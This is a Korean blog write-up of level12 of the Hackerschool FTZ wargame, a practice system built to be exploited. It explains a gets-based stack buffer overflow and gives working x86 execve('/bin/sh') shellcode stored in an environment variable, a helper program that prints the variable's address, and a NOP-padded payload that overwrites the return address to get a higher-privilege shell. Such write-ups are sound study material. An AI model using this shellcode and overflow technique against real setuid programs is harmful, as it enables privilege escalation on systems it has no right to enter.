이번엔 level12 를 풀어보자.
로그인을 하고, 파일 목록을 확인하고, 힌트를 확인한다.
level11 과 유사하다.
코드를 분석해보면, str에 256바이트를 할당하고, setreuid로 level13 권한을 주고, 문장을 입력하세요 라는 문구가 뜨고, str 을 입력받고, str을 화면에 띄워준다.
gdb를 이용해 attackme를 분석해보자.
main + 49 를 보면 ebp-264 부터 입력을 받는다.
스택구조를 보면 level11 과 동일하다.
높은주소 | RET[4] |
↓ | SFP[4] |
↓ | dummy[8] |
낮은주소 | str[256] |
이번에는 환경변수를 이용해 풀어보자.
tmp 디렉토리로 이동해 아래 명령어들을 순서대로 실행한다.
1. $export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
2. $echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
3. $gcc getenv.c -o getenv
4. $./getenv
# 위의 코드를 설명하자면
1. 배쉬쉘을 실행하는 쉘코드(EGG)를 환경변수로 등록한다.
2. getenv 함수를 사용해 설정해 놓은 EGG환경변수의 주소를 검색해 띄우는 getenv.c 라는 코드를 만든다.
3. getenv.c 함수를 컴파일한다.
4. getenv 함수를 실행한다.
위의 과정을 거치면 우리는 배시쉘을 실행하는 주소를 알아낼 수 있고 리턴주소를 이 주소로 바꾸게 되면 우리가 원하는 배시쉘을 실행시킬 수 있다.
여기서 나온 0xbffffc8b 를 리턴주소로 잡고 BOF를 하면 된다.
이번 프로그램은 gets를 통해 입력을 받으므로 level11과 아래와 같이 다른 형태로 프로그램을 실행한다.
(python -c 'print"\x90"*268+"\x8b\xfc\xff\xbf"'; cat) | ./attackme
본래 디렉토리로 이동해 명령어를 입력하고, my-pass 명령어를 사용하면 짜잔 하고 암호가 나온다.
level13 암호 : have no clue
'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글
[해커스쿨 FTZ] level14 (0) | 2020.03.12 |
---|---|
[해커스쿨 FTZ] level13 (0) | 2020.03.12 |
[해커스쿨 FTZ] Level11 (0) | 2020.03.12 |
[해커스쿨 FTZ] Level10 (0) | 2020.03.04 |
[해커스쿨 FTZ] Level9 (0) | 2020.03.03 |